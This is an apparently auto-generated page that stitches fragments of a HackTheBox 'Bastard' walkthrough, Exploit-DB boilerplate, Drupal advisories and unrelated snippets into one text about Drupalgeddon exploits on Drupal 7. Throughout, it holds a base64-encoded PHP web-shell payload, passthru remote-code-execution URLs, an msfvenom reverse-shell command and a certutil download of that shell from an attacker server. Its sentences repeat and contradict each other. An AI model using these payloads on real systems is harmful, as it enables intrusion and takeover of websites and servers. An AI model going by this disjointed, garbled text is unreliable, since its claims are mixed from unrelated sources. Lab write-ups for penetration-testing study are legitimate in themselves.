Exploit for Drupal 7 <= 7.57 CVE-2018-7600. This was meant to draw attention to The version of Windows running on the target system has not been properly patched or updated, leaving the system highly vulnerable to numerous methods of exploitation. Drupal 7 includes a database abstraction API to ensure that queries executed against the database are sanitized to prevent SQL injection attacks. 7/ Building your cheatsheets.. 8/ Training. Security updates were released for the Drupal 7, 8, and 9 versions to correct the file upload sanitization procedures. Since droopescan is not working, we’ll have to manually figure out if these modules are installed. lists, as well as other public sources, and present them in a freely-available and Now, some of you hackers reading this may have alarm bells going off in your head right now and so did I when first discovering Drupal on this host. [+] Good News Everyone! Cursus Data. Online Training . 7/ Building your cheatsheets.. 8/ Training. In addition to this, the Windows version running on our victim machine is no longer supported, as Windows Server 2008 and Windows Server 2008 R2 reached end-of-life on January 14th, 2020. If taken in the right context, it is a slogan to live by. # Exploit Title : Drupal CMS 7.12 (latest stable release) Multiple Vulnerabilities # Date : 02-03-2012 # Author ... Drupal 7.12 -latest stable release - suffers from multiple vulnerabilities which could allow an attacker to gain access to the management interface. To start, we can utilize our command execution to obtain detailed information about the system to aid in our payload creation: Host Name: BASTARDOS Name: Microsoft Windows Server 2008 R2 Datacenter OS Version: 6.1.7600 N/A Build 7600OS Manufacturer: Microsoft CorporationOS Configuration: Standalone ServerOS Build Type: Multiprocessor FreeRegistered Owner: Windows UserRegistered Organization: Product ID: 00496-001-0001283-84782Original Install Date: 18/3/2017, 7:04:46 ��System Boot Time: 25/5/2020, 2:29:25 ��System Manufacturer: VMware, Inc.System Model: VMware Virtual PlatformSystem Type: x64-based PC. actionable data right away. Within Kali Linux, there are numerous Windows tools and binaries included by default. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild. Most of these exploits are associated with the modules that are installed on Drupal. $ searchsploit -m 34992. Shellcodes. : Intel(R) PRO/1000 MT Network ConnectionConnection Name: Local Area ConnectionDHCP Enabled: NoIP address(es): 10.10.10.9. unintentional misconfiguration on the part of a user or a program installed by the user. Drupal 7.54, 2017-02-01 This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. Now that we have a general understanding of the vulnerability, let’s examine how our exploit gains code execution in Drupal 7.x as the version we are targeting falls within this category. Target is NOT exploitable [2-4] (HTTP Response: 404)… Might not have write access?– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – [*] Testing: Existing file (http://10.10.10.9/sites/default/files/shell.php)[i] Response: HTTP 404 // Size: 12– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – [*] Testing: Writing To Web Root (sites/default/files/)[*] Moving : ./sites/default/files/.htaccess[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/shell.php[!] Penetration Testing with Kali Linux and pass the exam to become an this information was never meant to be made public but due to any number of factors this With our exploit transferred to the target system, we’ll need to open a listener on our attacking box for our reverse shell to connect back to: Now that our listener is configured, we’ll provide the exploit with our attacking IP address and the port to connect back to: Now for the moment of truth, let’s fire up our exploit and see if we get a reverse shell! In our second approach, we can utilize MSFVenom to generate an executable that will send us a reverse shell when ran. SearchSploit Manual. A quick search engine query will reveal that the exploit can be downloaded from numerous sources. Today we will be tackling Bastard, a medium difficulty Windows machine created by the HackTheBox user ch4p. Reports about Drupal 7 vulnerabilities might become public creating 0 day exploits. that provides various Information Security Certifications as well as high end penetration testing services. We will continue by invoking the MSFVenom command and configuring it to create a payload that is suited for our target system: msfvenom –platform Windows -p windows/x64/shell_reverse_tcp LHOST=10.10.14.52 LPORT=443 -e x64/xor_dynamic -a x64 -f exe > shelly.exe, Found 1 compatible encodersAttempting to encode payload with 1 iterations of x64/xor_dynamicx64/xor_dynamic succeeded with size 510 (iteration=0)x64/xor_dynamic chosen with final size 510Payload size: 510 bytesFinal size of exe file: 7168 bytes. webapps exploit for PHP platform Exploit Database Exploits. The techniques that we will employ can be used against numerous targets. oscp study. We can use these tools to acquire the version information from the target system. Drupal 7.x Module Services - Remote Code Execution EDB … As we can see in the HTTP request above, the exploit sends POST data to the vulnerable form URI: The vulnerable rendering element ‘name’ is also included: The rendering element is passed the ‘#post_render’ property as a parameter argument. Two weeks ago, Drupal security team discovered a highly critical remote code execution vulnerability, dubbed Drupalgeddon2 , in its content management system software that could allow attackers to completely take over vulnerable websites. In addition, this is also a useful tool for performing file transfers to and from Windows hosts. Search EDB. The forms that are attached with ajax to the main form will not change the behavior of the main form, so the multipart/form-data will not be present and your upload will fail. GHDB. Shellcodes. The Form API was first introduced in Drupal 6, allowing for the alteration of data during the form rendering process. There are several forms of this vulnerability that impact different versions of Drupal and many installations still remain to be patched. SearchSploit Manual. Just to be clear I am not a security professional, I am just learning and preparing myself to OCSP exam. This module was tested against Drupal 7.0 and 7.31 (was fixed in 7.32). How to perform an exploit search with Searchsploit. A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. Attack vectors: Drupal 7.x Module Services - Remote Code Execution; Drupalgeddon2 (March 2018): exploit; Drupalgeddon3 (April 2018): exploit; Tutorials. We’ll begin by spinning up our HTTP server once more: Next, we will return to our exploit to download the file from our local system and place it on the remote host: drupalgeddon2>> certutil.exe -urlcache -split -f “http://10.10.14.52:8000/shelly.exe” shelly.exe. To exploit this vulnerability, we must have access to a user with impersonation rights. There are numerous privilege escalation vulnerabilities reported but in this writeup we will exploit a vulnerability known as MS10-059 (CVE-2010-2554 & CVE-2010-2555). While 7.59 fixed a lot of it there still remained an exploit through the user/registration form. Note that using ‘certutil.exe‘ in this manner is a great way to perform file transfers when working with Windows systems. Drupwn can be run, using two seperate modes which are enum and exploit. Let’s attempt to identify if our target may be susceptible to ‘Drupalgeddon’. PWK PEN-200 ; ETBD PEN-300 ; AWAE WEB-300 ; WiFu PEN-210 ; Stats. Google Hacking Database. [*] Testing: Existing file (http://10.10.10.9/shell.php), [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php. Walkthrough First we do some network discovery with netdiscover:… Port 80 is running Drupal 7 which I know from the Hawk box is vulnerable to a bunch of exploits. This is live excerpt from our database. Introducion This is a quick post about how to hack this vulnerable virtual machine found in Vulnhub website. Drupal faced one of its biggest security vulnerabilities recently. An attacker could exploit this vulnerability to take control of an affected system. I’ve found myself updating and transferring my old blog in some of the dead hours of today and Piers Morgan somehow made it on the Netflix special I was watching with the family. While 7.59 fixed a lot of it there still remained an exploit through the user/registration form. For those who may be unaware, Drupal is victim to a series of notorious vulnerabilities known as ‘Drupalgeddon’. (API addition: https://www.drupal.org/node/2824590). This video was created with a blog post for Google Code-In 2014 to explain Drupalgeddon, and why it was such a major issue. It exploits a SQLi (SQL injection) vulnerability in order to add a new administrator user to the Drupal site. About Exploit-DB Exploit-DB History FAQ Search. This uses the SQLi to upload a malicious … Let’s examine the nature of these vulnerabilities and discuss how we can defend against them: This machine is great for learning about Drupal, as well as the infamous ‘Drupalgeddon’ vulnerability. ocsp.sectigo.com test results | Web server and website security, GDPR and PCI DSS compliance test: C To conclude our examination of this machine, let’s take a moment to reflect on what we can learn from this box: There are several key vulnerabilities and security issues present on this target. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Let’s fire up some scans and see what comes back! This vulnerability is related to Drupal core - Highly critical - Remote Code Execution; Example Metasploit. Droopescan found an ‘interesting URL’. This potentially allows attackers to exploit multiple attack vectors on a Drupal site Which could result in the site being compromised. Excellent, our scans promptly return the version information of the Drupal installation: In addition to these scans, performing file and directory enumeration against the target can also be leveraged to locate the version information manually. The exploit puts a file with random characters with a .ico extension and places an index.php permissions 0755 with an include to the .ico in every directory and sub directory of the site from public_html. In this context, the original tool will still be effective since our remote host is running Windows Server 2008 R2. However, it appears that we lack the ability to write a web shell to the system. It exploits a SQLi (SQL injection) vulnerability in order to add a new administrator user to the Drupal site. About Us. [*] Testing: Existing file (http://10.10.10.9/sites/default/shell.php), [*] Testing: Writing To Web Root (sites/default/), [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/shell.php, [*] Testing: Existing file (http://10.10.10.9/sites/default/files/shell.php), [*] Testing: Writing To Web Root (sites/default/files/), [*] Moving : ./sites/default/files/.htaccess, [i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/shell.php, [!] I have been inundated with trolls around the world because of the lastest Drupal exploit. UPX is a tool that can be utilized to compress binaries. CVE-2014-3704CVE-113371 . : AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 MhzBIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018Windows Directory: C:\WindowsSystem Directory: C:\Windows\system32Boot Device: \Device\HarddiskVolume1System Locale: el;GreekInput Locale: en-us;English (United States)Time Zone: (UTC+02:00) Athens, Bucharest, IstanbulTotal Physical Memory: 2.047 MBAvailable Physical Memory: 1.570 MBVirtual Memory: Max Size: 4.095 MBVirtual Memory: Available: 3.595 MBVirtual Memory: In Use: 500 MBPage File Location(s): C:\pagefile.sysDomain: HTBLogon Server: N/AHotfix(s): N/ANetwork Card(s): 1 NIC(s) Installed. by a barrage of media attention and Johnny’s talks on the subject such as this early talk When encountering a Drupal installation on a target system, attempt to see if the Drupal version may be vulnerable to a variant of the ‘Drupalgeddon’ vulnerability. However, be aware that this tool is now currently outdated. With our Nmap scan completed, our report details that remote procedure call is present, as well as a Microsoft IIS web server running on TCP port 80 with Drupal installed. Since droopescan is not working, we’ll have to manually figure out if these modules are installed. Allowing for access to the PHP callback function ‘passthru’: /?q=user/password&name[%23post_render]=passthru. Lastly, our arbitrary command is appended, allowing for it to be executed by the ‘passthru’ function: /?q=user/password&name[%23post_render]=passthru&name[%23type]=markup&name[%23markup]=whoami. Awesome! over to Offensive Security in November 2010, and it is now maintained as searchsploit Drupal 7 Great, searchsploit reports that there are numerous exploits for ‘Drupalgeddon’ available. Well, one exploit as they both have the same name. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This will allow us to obtain detailed information about the host we are targeting: Host Name: BASTARDOS Name: Microsoft Windows Server 2008 R2 Datacenter OS Version: 6.1.7600 N/A Build 7600OS Manufacturer: Microsoft CorporationOS Configuration: Standalone ServerOS Build Type: Multiprocessor FreeRegistered Owner: Windows UserRegistered Organization: Product ID: 00496-001-0001283-84782Original Install Date: 18/3/2017, 7:04:46 ��System Boot Time: 25/5/2020, 2:29:25 ��System Manufacturer: VMware, Inc.System Model: VMware Virtual PlatformSystem Type: x64-based PCProcessor(s): 2 Processor(s) Installed. A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. These property keys are prefixed by a ‘#’ character, as we can see in the example below: Exploits targeting Drupalgeddon2 make use of these properties in render arrays through crafted HTTP and AJAX request to the Form API. I skim this article but it’s a lot of detail. This module exploits the Drupal HTTP Parameter Key/Value SQL Injection (aka Drupageddon) in order to achieve a remote shell on the vulnerable instance. Today, the GHDB includes searches for The exploit generates a random string and attempts to have the target echo this string. We can make use of the ‘certutil.exe’ method mentioned earlier, or we can utilize the ‘nc.exe’ binary to perform the file transfer. 7 CVE-2017-6932: 601: 2018-03-01: 2018-03-22: 5.8. About Us. This post describes multiple attacks upon the Bastard box on hackthebox.eu. After selecting an enumeration script, we’ll go ahead and transfer it to the target. type configuration page. However, given that our previous Nmap scan did not retrieve the exact version of Drupal 7 running on our target host, we will need to dig … Well, one exploit as they both have the same name. 9/ Prepare the exam. - Added new function for determining whether an HTTPS request is being served Our aim is to serve The Exploit Database is a - Logging of searches can now be disabled (new option in the administrative 9 CVE-2018-7600: 20: Exec Code 2018-03-29: 2018-06-11: 7.5. Drupal has released security updates to address a critical vulnerability in Drupal 7, 8.8 and earlier, 8.9, and 9.0. Available also using API. interface). Once our script is placed on the remote host, we can use our script(s) in conjunction with manual enumeration to acquire as much information as possible about the target system. Search for the exploit in Google (you could use the ‘-x’ flag to view in searchsploit but I don’t like the format). Exploits CVE-2014-3704 also known as ‘Drupageddon’ in Drupal. 8.1/ Pwn. For this writeup, we’ll download the exploit from the following Github repository: https://github.com/egre55/windows-kernel-exploits/tree/master/MS10-059:%20Chimichurri. The Google Hacking Database (GHDB) In addition, there are a slew of other vulnerabilities for Drupal that may be utilized for exploitation. When targeting Windows systems, the ‘nc.exe’ binary can often be utilized to gain a reverse shell if code/command execution can be leveraged. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild. Drupal v7.54: HTB-Bastard; VH-DC1; Apache Tomcat. Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User). Shellcodes. **** Online ****000000 …0bf800CertUtil: -URLCache command completed successfully. The vulnerability occurs due to insufficient user-supplied input sanitization in the Drupal Form API. SearchSploit Manual. Online Training . Despite which tool you utilize, we will still be able to obtain a broad list of vulnerabilities that we may be able to leverage for privilege escalation. If we recall the results from our searchsploit query earlier, we’ll notice that there are a number of available exploits that we could utilize against the version of Drupal that we are targeting: Since the OSCP exam greatly restricts the usage of the Metasploit Framework, we will not make use of Metasploit modules to exploit this vulnerability. In November 2021, after over a decade, Drupal 7 will reach end of life (EOL). The extent of compromise at this point can be best visualized in Figure 12. Our exploit successfully runs and we receive a shell as the system user! Versions <= 2.0.0 are known to be affected. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Today we issued the third release in the 1.9 mainline series of NGINX. Services allows you to create different endpoints with different resources, allowing you to interact with your website and its content in an API-oriented way. In most cases, The Exploit Database is maintained by Offensive Security, an information security training company Once the exploit test for code execution, it will attempt to send additional HTTP request. The Exploit Database is a repository for exploits and Two methods are available to trigger the PHP payload on the target: - set TARGET 0: Form-cache PHP injection method (default). Two methods are available to trigger the PHP payload on the target: – set TARGET 0: Form-cache PHP injection method. Installing and configuring iis 7.5 on windows 7 ardamis. This security release fixes third-party dependencies included in or required by Drupal core. About Us. Now that we have crafted a malicious executable, we will need to transfer it to the machine. The remote code execution vulnerability itself occurs due to improper sanitization when specific properties submitted within an HTTP/AJAX request are parsed by a function titled doRender() within the vulnerable code. Search EDB. All new content for 2020. /?q=user/password&name[%23post_render]=passthru&, /?q=user/password&name[%23post_render]=passthru&name[%23type]=markup&name[%23markup]=, [+] Found : http://10.10.10.9/CHANGELOG.txt (HTTP Response: 200), – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –, [*] Testing: Code Execution (Method: name). This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. After nearly a decade of hard work by the community, Johnny turned the GHDB Two methods are available to trigger the PHP payload on the target: - set TARGET 0: Form-cache PHP injection method (default). Drupal 7 Exploit Oscp. We will search for drupal 7 from the list of exploits available , here we will try Drupal 7.x Module Services — Remote Code Execution . Check /CHANGELOG.txt for Drupal version. So you'll need to set the value from the start. the fact that this was not a “Google problem” but rather the result of an often Target seems to be exploitable (Code execution)! compliant archive of public exploits and corresponding vulnerable software, For those preparing for the OSCP exam, the use of Metasploit is avoided if possible. Objectives . To combat this, we can use an updated version of this tool which was inspired by the original titled Windows Exploit Suggester Next Generation (WES-NG). In this writeup we will examine how to achieve an initial foothold by exploiting Drupal, two methods of using RCE to gain a reverse shell, and how to elevate privileges by abusing a vulnerable Windows feature. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild.
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